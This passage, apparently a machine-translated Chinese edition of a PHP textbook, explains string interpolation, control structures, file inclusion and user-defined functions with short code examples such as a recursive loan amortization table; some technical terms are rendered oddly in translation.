| $a ^ $b | 异或 | 异或——将包含在$a$b中的每一位相加 |
| ~ $b | 不 | 对$b中的每一位取反 |
| $a << $b | 左移位 | $a将接收到左移两位的$b的值 |
| $a >> $b | 右移 | $a将接收到的$b的值右移两位 |

对于初学者来说,很少使用按位运算符,但是如果您有兴趣了解更多关于二进制编码和按位运算符以及它们为什么重要的信息,请查看 Randall Hyde 的大量在线参考资料“汇编语言编程的艺术”,可在 http://webster.cs.ucr.edu 获得。

字符串插值

为了给开发人员在处理字符串值时提供最大的灵活性,PHP 提供了字面和比喻解释的方法。例如,考虑以下字符串:

The $animal jumped over the wall.\n

您可能会假设$animal是一个变量,而\n是一个换行符,因此两者都应该被相应地解释。但是,如果您希望完全按照书写的内容输出字符串,或者您希望呈现换行符,但希望变量以文字形式显示($animal),或者反之亦然,该怎么办呢?所有这些变化在 PHP 中都是可能的,这取决于字符串是如何封装的,以及某些关键字符是否通过预定义的序列进行转义。这些主题是本节的重点。

双引号

双引号中的字符串是 PHP 脚本中最常用的,因为它们提供了最大的灵活性。这是因为变量和转义序列都会被相应地解析。考虑以下示例:

<?php
    $sport = "boxing";
    echo "Jason's favorite sport is $sport.";
?>

此示例返回以下内容:

Jason's favorite sport is boxing.

转义序列

转义序列也被解析。考虑这个例子:

<?php
    $output = "This is one line.\nAnd this is another line.";
    echo $output;
?>

这将返回以下内容:

This is one line.And this is another line.

值得重申的是,这个输出是在浏览器源代码中找到的,而不是在浏览器窗口中。只要内容类型设置为 text/html,浏览器窗口就会忽略这种风格的换行符。但是,如果您查看源代码,您会看到输出实际上出现在两个单独的行上。如果数据被输出到文本文件,同样的想法也适用。

除了换行符之外,PHP 还识别许多特殊的转义序列,所有这些都在表 3-13 中列出。

表 3-13

公认的转义序列

|

顺序

|

描述

|
| --- | --- |
| \n | 换行符 |
| \r | 回车 |
| \t | 横表 |
| \\ | 反斜线符号 |
| \$ | 美元符 |
| \" | 双引号 |
| \[0-7]{1,3} | 八分音符 |
| \x[0-9A-Fa-f]{1,2} | 十六进制符号 |

单引号

当字符串应该被准确地解释时,用单引号将字符串括起来非常有用。这意味着在解析字符串时,变量和转义序列都不会被解释。例如,考虑以下单引号字符串:

print 'This string will $print exactly as it\'s \n declared.';

这会产生以下结果:

This string will $print exactly as it's \n declared.

注意,位于 it 的中的单引号被转义。省略反斜杠转义字符将导致语法错误。考虑另一个例子:

print 'This is another string.\\';

这会产生以下结果:

This is another string.\

在这个例子中,出现在字符串末尾的反斜杠必须被转义;否则,PHP 解析器会理解尾部的单引号将被转义。但是,如果反斜杠出现在字符串中的任何其他地方,就没有必要对它进行转义。

花括号

虽然 PHP 完全能够插入表示标量数据类型的变量,但您会发现,表示复杂数据类型(如数组或对象)的变量在嵌入到echo()语句中时就不那么容易解析了。您可以通过在花括号中分隔变量来解决这个问题,如下所示:

echo "The capital of Ohio is {$capitals['ohio']}.";

就个人而言,我更喜欢这种语法,因为它清楚地表明了字符串的哪些部分是静态的,哪些部分是动态的。

埃多克

语法为输出大量文本提供了一种方便的方法。使用两个相同的标识符,而不是用双引号或单引号来分隔字符串。下面是一个例子:

<?php
$website = "http://www.romatermini.it";
echo <<<EXCERPT
<p>Rome's central train station, known as <a href = "$website">Roma Termini</a>, was built in 1867\. Because it had fallen into severe disrepair in the late 20th century, the government knew that considerable resources were required to rehabilitate the station prior to the 50-year <i>Giubileo</i>.</p>
EXCERPT;
?>

关于这个例子,有几点是没有价值的:

  • 开始和结束标识符(在本例中,EXCERPT)必须相同。您可以随意选择任何标识符,但它们必须完全匹配。唯一的限制是标识符必须只由字母数字字符和下划线组成,并且不能以数字或下划线开头。

  • 开始标识符前面必须有三个左尖括号(<<<))。

  • Heredoc 语法遵循与双引号中的字符串相同的解析规则。也就是说,变量和转义序列都被解析。唯一的区别是双引号不需要转义。

  • 结束标识符必须从一行的最开头开始。它不能以空格或任何其他无关字符开头。这是用户中经常出现的困惑点,所以要特别注意确保您的 heredoc 字符串符合这个烦人的要求。此外,在开始或结束标识符后出现任何空格都会产生语法错误。

当您需要处理大量材料,但又不想忍受转义引号的麻烦时,Heredoc 语法特别有用。

单引号

nowdoc 语法的操作与 heredoc 语法相同,只是不解析 nowdoc 中的任何分隔文本。例如,如果您想在浏览器中显示一段代码,您可以将它嵌入到 nowdoc 语句中;当随后输出 nowdoc 变量时,您可以确信 PHP 不会试图将任何字符串作为代码插入。

用控制结构进行控制

控制结构决定了应用中的代码流,定义了执行特性,如特定代码语句是否执行以及执行多少次,以及代码块何时放弃执行控制。这些结构还提供了一种简单的方法,将全新的代码部分(通过文件包含语句)引入到当前正在执行的脚本中。在这一节中,您将了解 PHP 语言可用的所有此类控制结构。

用条件语句做决策

条件语句使你的计算机程序能够对各种各样的输入做出相应的反应,使用逻辑根据输入值辨别各种条件。这种功能对于创建计算机软件来说是如此的基础,所以各种各样的条件语句成为包括 PHP 在内的所有主流编程语言的主食也就不足为奇了。

if 语句

if语句是任何主流编程语言中最常见的构造之一,为条件代码执行提供了一种方便的方法。以下是语法:

if (expression) {
    statement
}

当只需要一条语句时,可以省去花括号,将 if 语句写在一行中。如果需要一个以上的语句,它们必须用花括号括起来,告诉解释器在语句为真的情况下执行什么。例如,假设您希望在用户猜出一个预定的秘密数字时显示一条祝贺消息:

<?php
    $secretNumber = 453;
    if ($_POST['guess'] == $secretNumber) {
        echo "Congratulations!";
    }
?>

else 语句

前一个例子的问题是,输出只提供给正确猜出密码的用户。所有其他使用者都变得一无所有,完全被冷落,原因可能与他们缺乏精神力量有关。如果无论结果如何,您都希望提供量身定制的响应,该怎么办?为此,您需要一种方法来响应那些不满足if条件要求的用户,这是通过else语句方便地提供的特性。下面是对上一个示例的修改,这次在两种情况下都提供了响应:

<?php
    $secretNumber = 453;
    if ($_POST['guess'] == $secretNumber) {
        echo "Congratulations!";
    } else {
        echo "Sorry!";
    }
?>

if一样,如果只包含一个代码语句,那么else语句括号可以跳过。

埃尔塞夫声明

在“非此即彼”的情况下——也就是说,在只有两种可能结果的情况下,if-else组合工作得很好。但是如果几种结果都有可能呢?您需要一种方法来考虑每种可能的结果,这可以通过elseif语句来实现。让我们再次修改秘密数字的例子,这次如果用户的猜测与秘密数字相对接近(在 10 以内),则提供一条消息:

<?php
    $secretNumber = 453;
    $_POST['guess'] = 442;
    if ($_POST['guess'] == $secretNumber) {
        echo "Congratulations!";
    } elseif (abs ($_POST['guess'] - $secretNumber) < 10) {
        echo "You're getting close!";
    } else {
        echo "Sorry!";
    }
?>

像所有条件句一样,elseif支持在只包含一个语句时取消括号。

switch 语句

您可以将switch语句视为if-else组合的变体,通常在需要将一个变量与大量值进行比较时使用:

<?php
    switch($category) {
        case "news":
            echo "What's happening around the world";
            break;
        case "weather":
            echo "Your weekly forecast";
            break;
        case "sports":
            echo "Latest sports highlights";
            echo "From your favorite teams";
            break;
        default:
            echo "Welcome to my web site";
    }
?>

请注意,在每个 case 块的结尾都有 break 语句。如果 break 语句不存在,所有后续的 case 块都将执行,直到找到 break 语句。为了说明这种行为,让我们假设 break 语句已从前面的示例中删除,并且$category已设置为 weather。您会得到以下结果:

Your weekly forecast
Latest sports highlights
Welcome to my web site

用循环语句重复迭代

尽管存在各种各样的方法,但是循环语句是每一种广泛使用的编程语言中的一个固定部分。循环机制为完成编程中的普通任务提供了一种简单的方法:重复一系列指令,直到满足特定的条件。PHP 提供了几个这样的机制,如果你熟悉其他编程语言的话,这些机制都不足为奇。

while 语句

while语句指定了在其嵌入代码的执行被终止之前必须满足的条件。其语法如下:

while (expression) {
    statements
}

在下面的例子中,$count被初始化为值1。然后将$count的值平方并输出。然后$count变量增加 1,循环重复,直到$count的值达到5

<?php
    $count = 1;
    while ($count < 5) {
        printf("%d squared = %d <br>", $count, pow($count, 2));
        $count++;
    }
?>

输出如下所示:

1 squared = 1
2 squared = 4
3 squared = 9
4 squared = 16

do...while 语句

do...while循环语句是while,的变体,但是它在块的结尾而不是开始时验证循环条件。以下是它的语法:

do {
    statements
} while (expression);

whiledo...while的功能都差不多。唯一真正的区别是嵌入在while语句中的代码可能永远不会被执行,而嵌入在do...while语句中的代码至少会执行一次。考虑以下示例:

<?php
    $count = 11;
    do {
        printf("%d squared = %d <br />", $count, pow($count, 2));
    } while ($count < 10);
?>

以下是结局:

11 squared = 121

尽管事实上 11 超出了while条件的界限,但是嵌入式代码将执行一次,因为条件直到结束时才被评估。

for 语句

for语句提供了比while更复杂的循环机制。以下是它的语法:

for (expression1; expression2; expression3) {
    statements
}

当使用 PHP 的for循环时,有一些规则要记住:

  • 默认情况下,第一个表达式expression1在循环的第一次迭代时计算。

  • 第二个表达式expression2在每次迭代开始时计算。这个表达式决定循环是否继续。

  • 第三个表达式expression3在每个循环结束时计算。

  • 任何表达式都可以是空的,它们的用途由嵌入在for块中的逻辑代替。

记住这些规则,考虑下面的例子,所有这些例子都显示了部分公里/英里等值图:

// Example One
define('KILOMETER_TO_MILE', 0.62140);
for ($kilometers = 1; $kilometers <= 5; $kilometers++) {
    printf("%d kilometers = %f miles <br>", $kilometers, $kilometers*constant('KILOMETER_TO_MILE'));
}

// Example Two
define('KILOMETER_TO_MILE', 0.62140);
for ($kilometers = 1; ; $kilometers++) {
    if ($kilometers > 5) break;
    printf("%d kilometers = %f miles <br>", $kilometers, $kilometers*constant('KILOMETER_TO_MILE'));
}

// Example Three
define('KILOMETER_TO_MILE', 0.62140);
$kilometers = 1;
for (;;) {
    // if $kilometers > 5 break out of the for loop.
if ($kilometers > 5) break;
    printf("%d kilometers = %f miles <br>", $kilometers, $kilometers*constant('KILOMETER_TO_MILE'));
    $kilometers++;
}

所有三个示例的结果如下:

1 kilometers = 0.621400 miles
2 kilometers = 1.242800 miles
3 kilometers = 1.864200 miles
4 kilometers = 2.485600 miles
5 kilometers = 3.107000 miles

foreach 语句

foreach循环构造语法擅长循环遍历数组,从数组中取出每个键/值对,直到所有的项都被检索到或者满足了其他一些内部条件。有两种语法变体,每种都有一个示例介绍。

第一个语法变体从数组中复制每个值,每次迭代都将指针移近末尾。以下是它的语法:

foreach ($array_expr as $value) {
    statement
}

假设您想要输出一个链接数组,如下所示:

<?php
    $links = array("www.apress.com","www.php.net","www.apache.org");
    echo "Online Resources<br>";
    foreach($links as $link) {
echo "{$link}<br>";
}
?>

这将导致以下结果:

Online Resources
www.apress.com
www.php.net
www.apache.org

第二种变化非常适合处理数组的键和值。语法如下:

foreach (array_expr as $key => $value) {
    statement
}

修改前面的例子,假设$links是一个关联数组,包含一个链接和一个相应的链接标题:

$links = array("The Apache Web Server" => "www.apache.org",
               "Apress" => "www.apress.com",
               "The PHP Scripting Language" => "www.php.net");

每个数组项都由一个键和一个对应的值组成。foreach语句可以轻松地从数组中剥离每个键/值对,如下所示:

echo "Online Resources<br>";
foreach($links as $title => $link) {
echo "<a href=\"http://{$link}\">{$title}</a><br>";
}

结果是每个链接都嵌入在各自的标题下,就像这样(为了清楚起见,输出包括 HTML 格式):

Online Resources:<br />
<a href="http://www.apache.org">The Apache Web Server</a><br />
<a href="http://www.apress.com">Apress</a><br />
<a href="http://www.php.net">The PHP Scripting Language</a><br />

这种键/值检索方法还有其他变化,所有这些都在第五章中介绍。

中断语句

遇到break语句将立即结束do...whilefor, foreach, switchwhile块的执行。例如,如果一个素数是伪随机发生的,下面的for循环将终止:

<?php
    $primes = array(2,3,5,7,11,13,17,19,23,29,31,37,41,43,47);
    for($count = 1; $count++; $count < 1000) {
        $randomNumber = rand(1,50);
        if (in_array($randomNumber,$primes)) {
printf("Prime number found! %d <br />", $randomNumber);
            break;
        } else {
            printf("Non-prime number found: %d <br />", $randomNumber);
        }
    }
?>

示例输出如下:

Non-prime number found: 48
Non-prime number found: 42
Prime number found: 17

continue 语句

continue语句导致当前循环迭代的执行结束,并在下一次迭代开始时开始执行。例如,如果发现$usernames[$x]具有值missing,将重新开始执行下面的while主体:

<?php
    $usernames = array("Grace","Doris","Gary","Nate","missing","Tom");
    for ($x=0; $x < count($usernames); $x++) {
        if ($usernames[$x] == "missing") continue;
        printf("Staff member: %s <br />", $usernames[$x]);
    }
?>

这会产生以下输出:

Staff member: Grace
Staff member: Doris
Staff member: Gary
Staff member: Nate
Staff member: Tom

文件包含语句

高效的程序员总是考虑确保可重用性和模块化。确保这一点的最普遍的方法是将功能组件隔离到单独的文件中,然后根据需要重新组装这些文件。PHP 提供了四种将这类文件包含到应用中的语句,本节将对每种语句进行介绍。

include()语句

include()语句将评估一个文件,并将它包含到被调用的位置。只要包含的文件只包含 PHP 代码,包含文件产生的结果与将代码从指定的文件复制到语句出现的位置相同。如果文件包含 HTML,它将被传递到客户端而不做进一步处理。当页面包含 HTML 的静态部分时,这是很有用的。其原型如下:

include(/path/to/filename)

printecho语句一样,您可以选择在使用include().时省略括号。例如,如果您想要包含一系列预定义的函数和配置变量,您可以将它们放入一个单独的文件中(例如,称为init.inc.php,然后将该文件包含在每个 PHP 脚本的顶部,如下所示:

<?php
    include "/usr/local/lib/php/wjgilmore/init.inc.php";
?>

关于include()语句的一个误解是,因为包含的代码将被嵌入到 PHP 执行块中,所以不需要 PHP 转义标签。然而,事实并非如此;必须始终包含分隔符。因此,您不能只是将一个 PHP 命令放在一个文件中,并期望它能正确解析,如下所示:

echo "this is an invalid include file";

相反,任何 PHP 语句都必须用正确的转义标记括起来,如下所示:

<?php
    echo "this is an invalid include file";
?>

小费

在包含文件中找到的任何代码都将继承其调用方位置的变量范围。范围的概念将在关于函数的第四章中进一步讨论。

确保一个文件只包含一次

include_once()函数与include()的目的相同,只是它首先验证文件是否已经被包含。其原型如下:

include_once (filename)

如果已经包含了一个文件,include_once()将不会执行。否则,它将根据需要包含该文件。除此之外,include_once()的运行方式与include()完全相同。

两个include() and include_once()都可以在条件语句中使用,允许基于逻辑包含不同的文件。这可用于包含基于配置值的特定数据库抽象。

需要一个文件

在大多数情况下,require()的操作类似于include(),,包括一个模板到require()调用所在的文件中。其原型如下:

require (filename)

require()include()的区别是没有找到被引用文件时的结果。require()将发布一个编译器错误并停止执行,而include()将导致一个警告并继续执行。

小费

只有在默认情况下启用了allow_url_fopen时,URL 才能与require()一起使用。注意不要加载超出你控制范围的内容。

第二个重要的区别是,如果一个require()语句失败,脚本执行将会停止,而在一个include() statement语句的情况下,脚本执行可能会继续。对require()语句失败的一个可能的解释是错误引用的目标路径。

确保一个文件只需要一次

随着站点的增长,您可能会发现自己冗余地包含了某些文件。虽然这可能并不总是一个问题,但有时您不希望被包含文件中修改的变量被随后包含的同一个文件覆盖。出现的另一个问题是函数名的冲突,如果它们存在于包含文件中的话。你可以用require_once()函数解决这些问题。其原型如下:

require_once (filename)

require_once()函数确保包含文件在脚本中只包含一次。遇到require_once()后,任何后续的包含相同文件的尝试都将被忽略。

除了require_once(),的验证程序,该功能的所有其他方面与require()相同。

摘要

尽管这里提供的材料没有后面章节中的那么吸引人,但它对你成为一名成功的 PHP 程序员来说是无价的,因为所有后续的功能都是基于这些构件的。

下一章正式介绍了函数的概念,函数是用来执行特定任务的可重用代码块。这些材料将引导您开始构建模块化、可重用的 PHP 应用。

四、函数

计算机编程的存在是为了自动化对人类来说太困难或太乏味的任务,从抵押贷款支付计算到计算视频游戏中虚拟玩家发射的足球的轨迹。您经常会发现,这样的任务包含可以在其他地方重用的逻辑位,不仅在同一个应用中,而且在许多其他应用中。例如,一个电子商务应用可能需要在几个不同的页面上验证一个电子邮件地址,比如当一个新用户注册使用一个网站时,当某人想要添加一个产品评论时,或者当一个访问者注册一个时事通讯时。用于验证电子邮件地址的逻辑异常复杂,因此最好将代码保存在一个位置,而不是嵌入到多个页面中。

令人欣慰的是,将这些重复的过程包含在一段已命名的代码中,然后在必要时调用这个名字,这一概念长期以来一直是现代计算机语言的一个关键特征。这样一段代码被称为函数,如果它定义的流程需要在未来进行更改,它将为您提供单一参考点的便利,这极大地降低了编程错误的可能性和维护开销。幸运的是,PHP 语言自带了 1000 多个原生函数,但是创建自己的函数也很容易!在这一章中,你将学习所有关于 PHP 函数的知识,包括如何创建和调用它们,向它们传递输入,使用类型提示,向调用者返回单个和多个值,以及创建和包含函数库。

调用函数

标准 PHP 发行版内置了 1000 多个函数,其中许多函数您将在本书中看到。您可以简单地通过指定函数名来调用您想要的函数,假设该函数已经通过将库编译到已安装的发行版中或者通过include()require()语句变得可用。例如,假设您想对数字 5 进行三次幂运算。你可以像这样调用 PHP 的pow()函数:

<?php
    echo pow(5,3);
?>

如果您想将函数输出存储在一个变量中,您可以像这样分配它:

<?php
    $value = pow(5,3); // returns 125
    echo $value;
?>

如果您想在一个更长的字符串中输出函数结果,您需要像这样连接它:

echo "Five raised to the third power equals ".pow(5,3).".";

坦白地说,这种方法往往很混乱,所以我建议首先将函数输出赋给一个变量,然后将变量嵌入字符串,就像这样:

$value = pow(5,3);
echo "Five raised to the third power equals {$value}.";

或者,你可以使用第三章中介绍的printf():

printf("Five raised to the third power equals %d.", pow(5,3));

在后三个示例中,将返回以下输出:

Five raised to the third power equals 125.

尝试

PHP 的函数库非常庞大,因此您将花费大量时间阅读文档,以了解更多关于特定函数的输入参数和行为的信息。当您想要使用诸如 date()之类的函数时尤其如此,该函数支持近 40 种不同的用于定义日期格式的说明符。幸运的是,官方 PHP 站点提供了一个方便的快捷方式,可以通过名字快速访问函数;只需将函数名附加到域 https://www.php.net 上。因此,要访问 date()函数,请导航至 https://www.php.net/date

手动输入日期()后,花点时间考虑一下如何设置日期的格式。出于本练习的目的,让我们使用 date()以此格式返回日期:2017 年 11 月 2 日,星期四。浏览格式说明符列表以找到合适的组合。小写字母 l 定义了星期几的完整文本表示,大写字母 F 定义了月份的完整文本表示,小写字母 n 定义了月份中某一天的数字表示,最后大写字母 Y 定义了年份的四位数表示。因此,您将把date() call like 嵌入到启用 PHP 的页面中,如下所示:

<?= date('l, F n, Y'); ?>

诚然,考虑到格式说明符的数量,函数date()有点反常;大多数 PHP 函数接受两个或三个参数,仅此而已。即便如此,你还是会发现快速导航到某个函数的能力非常方便。顺便说一下,它甚至适用于部分函数名!例如,假设您想将一个字符串全部转换为大写,但是不记得具体的函数名,只记得该名称包含字符串“upper”前往 https://www.php.net/upper ,你会看到相关函数和其他文档条目的列表!

大多数现代的 ide 像 PHP Storm,Sublime Text,Eclipse 等等。,提供了一个自动完成功能,可以显示任何函数的参数列表。这既适用于内置的 PHP 函数,也适用于您从库中编写或包含的函数。你不必每次都阅读 PHP 手册来检查参数的顺序,但是如果你在寻找函数,这是一个方便的工具。

创建函数

尽管 PHP 种类繁多的函数库对任何试图避免重复编程的人来说都是一个巨大的好处,但最终您会想要封装一个标准发行版中没有的任务,这意味着您需要创建自定义函数甚至整个函数库。为此,您需要定义自己的函数。用伪代码编写的函数定义如下:

function functionName(parameters)
{
    function body
}

虽然 PHP 对函数名没有太多限制(前提是不与现有的 PHP 函数冲突),也没有格式约定,但一个常用的格式标准是 camel case 格式( https://en.wikipedia.org/wiki/CamelCase ),它规定函数名的第一个字母是小写的,任何后续复合词的第一个字母都是大写的。此外,为了提高代码的可读性,应该使用描述性的名称!

例如,假设您希望将当前日期嵌入到站点的多个位置,但是希望以后能够方便地在一个位置更新日期格式。创建一个名为displayDate()的函数,并在其中结合适当的格式说明符使用date()函数,如下所示:

function displayDate()
{
    return date('l, F n, Y');
}

return语句正如其名称所暗示的那样,将相关的值返回给调用者。调用者是脚本中调用函数的位置,可能如下所示:

<?= displayDate(); ?>

当函数执行时,日期将被确定并格式化(例如,2016 年 8 月 24 日,星期六),结果返回给调用者。因为在这种情况下,您调用的是结合 PHP 的简短 echo 标记语法的displayDate(),当日期返回时,它将被直接嵌入到周围的页面中。

顺便说一下,您不需要输出函数结果。例如,您可以将结果赋给一个变量,如下所示:

$date = displayDate();

返回多个值

从一个函数返回多个值通常很方便。例如,假设您想创建一个从数据库中检索用户数据(比如用户的姓名、电子邮件地址和电话号码)并将其返回给调用者的函数。list()构造提供了一种从数组中检索值的便捷方法,如下所示:

<?php
    $colors = ["red","blue","green"];
    list($color1, $color2, $color3) = $colors;
?>

一旦list()构造执行完毕,$color1$color2$color3将分别被赋予redbluegreen。List()看起来像一个函数,但它实际上是一种语言结构,与用于右边计算并返回赋值的函数相比,它用在赋值运算符(=)的左边。

基于上一个例子中展示的概念,您可以想象如何使用list()从函数中返回三个先决条件值。

<?php
    function retrieveUserProfile()
    {
        $user[] = "Jason Gilmore";
        $user[] = "jason@example.com";
        $user[] = "English";
        return $user;
    }

    list($name, $email, $language) = retrieveUserProfile();
    echo "Name: {$name}, email: {$email}, language: {$language}";
?>

执行该脚本将返回以下内容:

Name: Jason Gilmore, email: jason@example.com, language: English

通过值传递参数

您会发现将数据传递给函数非常有用。例如,让我们创建一个函数,通过确定一件商品的销售税,然后将该金额加到价格上,来计算该商品的总成本。

function calculateSalesTax($price, $tax)
{
    return $price + ($price * $tax);
}

该函数接受在计算中使用的两个参数,恰当地命名为$price$tax。尽管这些参数是浮点型的,但是由于 PHP 的弱类型,没有什么可以阻止您传入任何数据类型的变量,但是结果可能不是您所期望的。此外,您可以根据需要定义尽可能少或尽可能多的参数;在这方面没有语言限制。

定义好之后,您就可以调用上一节中演示的函数了。例如,calculateSalesTax()函数可以这样调用:

calculateSalesTax(15.00, .0675);

当然,您不必将静态值传递给函数。您也可以像这样传递变量:

<?php
    $pricetag = 15.00;
    $salestax = .0675;
    $total = calculateSalesTax($pricetag, $salestax);
?>

当你以这种方式传递一个参数时,它被称为通过值传递。这意味着在函数范围内对这些值所做的任何更改都会在函数之外被忽略。本质上,解释器为每个变量创建了一个副本。如果您希望这些变化在函数范围之外得到反映,您可以通过引用传递参数(),这将在下面介绍。

注意

与 C++等语言不同,PHP 不要求您在调用函数之前定义它,因为整个脚本在执行之前就被读入 PHP 解析引擎。一个例外是,如果函数是在包含文件中定义的,则必须在使用函数之前执行 include/require 语句。

默认参数值

可以将默认值分配给输入参数,如果没有提供其他值,默认值将自动分配给该参数。为了修改销售税示例,假设您的大部分销售发生在俄亥俄州的富兰克林县。然后,您可以将默认值 6.75%分配给$tax,如下所示:

function calculateSalesTax($price, $tax=.0675)
{
   $total = $price + ($price * $tax);
   echo "Total cost: $total";
}

默认参数值必须出现在参数列表的末尾,并且必须是常量表达式;不能给非常数值赋值,如函数调用或变量。此外,请记住,你可以通过传递另一个税率来覆盖$tax;只有在没有第二个参数的情况下调用calculateSalesTax()时,才会使用 6.75%。

$price = 15.47;
calculateSalesTax($price);

您可以将某些参数指定为可选的,方法是将它们放在列表的末尾,并赋予它们缺省值 nothing,如下所示:

function calculateSalesTax($price, $tax=0)
{
    $total = $price + ($price * $tax);
    echo "Total cost: $total";
}

如果没有销售税,这允许您在没有第二个参数的情况下调用calculateSalesTax()

calculateSalesTax(42.9999);

它返回以下输出:

Total cost: $42.9999

如果指定了多个可选参数,您可以有选择地选择传递哪些参数。考虑这个例子:

function calculate($price, $price2=0, $price3=0)
{
    echo $price + $price2 + $price3; 

}

然后你可以调用calculate(),只传递$price$price2,就像这样:

calculate(10, 3);

这将返回以下值:

13

使用类型声明

不可否认,当谈到类型提示这个话题时,我把车放在了课程的前面,因为在这一节中,我不得不引用一些还没有正式介绍的术语和概念。然而,为了完整起见,在这一章中包括这一节是有意义的;因此,如果你觉得这些令人困惑,在阅读完第七章的所有内容后,请随意标记本页并返回本部分。PHP 5 引入了一个称为类型提示的新特性,后来被重命名为类型声明,它让您能够强制参数成为对象、接口、可调用或数组。PHP 7.0 增加了对标量(数字和字符串)类型提示的支持。如果提供的参数不是所需的类型,将会出现致命错误。举个例子,假设您创建了一个名为Customer的类,并希望确保传递给名为processPayPalPayment()的函数的任何参数都是Customer类型的。您可以使用类型提示来实现这种限制,如下所示:

function processPayPalPayment(Customer $customer) {
   // Process the customer's payment
}

PHP 7.0 还为返回值引入了类型提示,这是通过在参数列表的右括号后添加:来实现的。

function processPayPalPayment(Customer $customer): bool {
   // Process the customer's payment

}

在上面的例子中,如果函数试图返回除 true 或 false 之外的任何值,就会引发致命错误。

递归函数

递归函数,或者调用自身的函数,为程序员提供了相当大的实用价值,用于将一个复杂的问题分解成一个简单的案例,重复这个案例直到问题解决。

实际上,每个介绍性的递归例子都涉及阶乘计算。让我们做一些更实际的事情,创建一个贷款支付计算器。具体来说,下面的示例使用递归来创建付款计划,告诉您偿还贷款所需的每期付款的本金和利息金额。清单 4-1 中介绍了递归函数amortizationTable()。它接受四个参数作为输入:$paymentNumber,它标识付款号;$periodicPayment,携带每月总付款;$balance,表示剩余贷款余额;和$monthlyInterest,它决定了每月的利率百分比。这些项目在清单 4-2 中列出的脚本中指定或确定。

function amortizationTable($paymentNumber, $periodicPayment, $balance, $monthlyInterest)
{

    static $table = array();

    // Calculate payment interest
    $paymentInterest = round($balance * $monthlyInterest, 2);

    // Calculate payment principal
    $paymentPrincipal = round($periodicPayment - $paymentInterest, 2);

    // Deduct principal from remaining balance
    $newBalance = round($balance - $paymentPrincipal, 2);

    // If new balance < monthly payment, set to zero
    if ($newBalance < $paymentPrincipal) {
        $newBalance = 0;
    }

    $table[] = [$paymentNumber,
      number_format($newBalance, 2),
      number_format($periodicPayment, 2), 

      number_format($paymentPrincipal, 2),
      number_format($paymentInterest, 2)
    ];

// If balance not yet zero, recursively call amortizationTable()
    if ($newBalance > 0) {
         $paymentNumber++;
         amortizationTable($paymentNumber, $periodicPayment,
                            $newBalance, $monthlyInterest);
    }

    return $table;
}

Listing 4-1The Payment Calculator Function, amortizationTable()

在设置相关变量并执行一些初步计算后,清单 4-2 调用amortizationTable()函数。因为这个函数递归地调用自己,所有摊销表的计算将在这个函数内部执行;一旦完成,控制权将返回给调用者。

请注意,functions return 语句返回的值被返回给调用它的函数的实例,而不是主脚本(除了第一次调用该函数之外)。

<?php
   // Loan balance
   $balance = 10000.00;

   // Loan interest rate

   $interestRate = .0575;

   // Monthly interest rate
   $monthlyInterest = $interestRate / 12;

   // Term length of the loan, in years.
   $termLength = 5;

   // Number of payments per year.
   $paymentsPerYear = 12;

   // Payment iteration
   $paymentNumber = 1;

   // Determine total number payments
   $totalPayments = $termLength * $paymentsPerYear;

   // Determine interest component of periodic payment
   $intCalc = 1 + $interestRate / $paymentsPerYear;

   // Determine periodic payment
   $periodicPayment = $balance * pow($intCalc,$totalPayments) * ($intCalc - 1) /
                                    (pow($intCalc,$totalPayments) - 1); 

   // Round periodic payment to two decimals
   $periodicPayment = round($periodicPayment,2);

   $rows =  amortizationTable($paymentNumber, $periodicPayment, $balance, $monthlyInterest);

   // Create table
   echo "<table>";
   echo "<tr>
<th>Payment Number</th><th>Balance</th>
<th>Payment</th><th>Principal</th><th>Interest</th>

</tr>";

    foreach($rows as $row) {
        printf("<tr><td>%d</td>", $row[0]);
        printf("<td>$%s</td>", $row[1]);
        printf("<td>$%s</td>", $row[2]);
        printf("<td>$%s</td>", $row[3]);
        printf("<td>$%s</td></tr>", $row[4]);
    }

   // Close table
   echo "</table>";
?>

Listing 4-2A Payment Schedule Calculator Using Recursion

图 4-1 显示了示例输出,基于五年期固定贷款 10,000.00 美元的月供,利率为 5.75%。出于节省空间的原因,只列出了前 12 个支付迭代。

img/314623_5_En_4_Fig1_HTML.jpg

图 4-1

amortize.php 的输出示例

匿名函数

当用一个名字和一个参数列表声明一个函数时,可以从代码中定义它的任何地方调用它。在某些情况下,定义一个只能从特定位置调用的函数是有意义的。这通常用于回调函数,在回调函数中,由于调用另一个函数而调用一个特定的函数。这些函数被称为匿名函数或闭包。它们没有函数名。

闭包可以定义为变量的内容:

$example = function() {
   echo "Closure";
};
$example();

注意函数定义后面的分号。当闭包被赋给一个变量时,可以通过使用变量后跟()来执行函数,如示例所示。这类似于定义一个命名函数,将函数的名称赋给一个变量,然后使用该变量执行函数,如下所示:

function MyEcho() {
   echo "Closure";
};
$example = "MyEcho";
$example();

当涉及到函数外部变量的范围和访问时,闭包就像其他函数一样。为了提供对这些变量的访问,PHP 提供了关键字 use,如下例所示:

$a = 15;
$example = function() {
  $a += 100;
  echo $a . "\n";
};
$example();
echo $a . "\n";

$example = function() use ($a) {
  $a += 100;
  echo $a . "\n";
};
$example();
echo $a . "\n";

$example = function() use (&$a) {
  $a += 100;
  echo $a . "\n";
};
$example();
echo $a . "\n";

在第一部分中,全局变量$a是不可访问的,导致它在第一个闭包内被赋值为 0。在第二部分中,$a可用于闭包,但全局值不受影响。在最后一节中,全局变量$a通过引用变得可用。这导致在执行闭包时全局值发生变化。

函数库

伟大的程序员都是懒惰的,懒惰的程序员都是从复用性的角度来考虑的。函数为重用代码提供了一个很好的方法,通常被集中组装到库中,然后在类似的应用中重复使用。PHP 库是通过将函数定义简单地聚集在一个文件中创建的,如下所示:

<?php
   function localTax($grossIncome, $taxRate) {
      // function body here
   }
   function stateTax($grossIncome, $taxRate, $age) {
      // function body here
   }
   function medicare($grossIncome, $medicareRate) {
      // function body here
   }
?>

保存这个库,最好使用一个能清楚表明其用途的命名约定,比如library.taxation.php。但是,不要使用会导致 web 服务器传递未经解析的文件内容的扩展名将该文件保存在服务器文档根目录中。这样做为用户打开了从浏览器调用文件并检查代码的可能性,其中可能包含敏感数据。如果在完全控制硬盘和 web 服务器配置的服务器上部署代码,建议将包含文件存储在 web 根目录之外。这可以位于名为 include 或 libraries 的文件夹中。另一方面,如果您部署到一个共享的主机环境,您可能只能访问一个文件夹,即 web 根目录。在这种情况下,您的库和配置文件使用。php 扩展。如果它们被直接调用,这将确保它们通过 PHP 解释器传递。在这种情况下,它们将简单地生成一个空文档,尽管函数之外的任何代码都将被执行,并可能返回将成为输出一部分的内容。

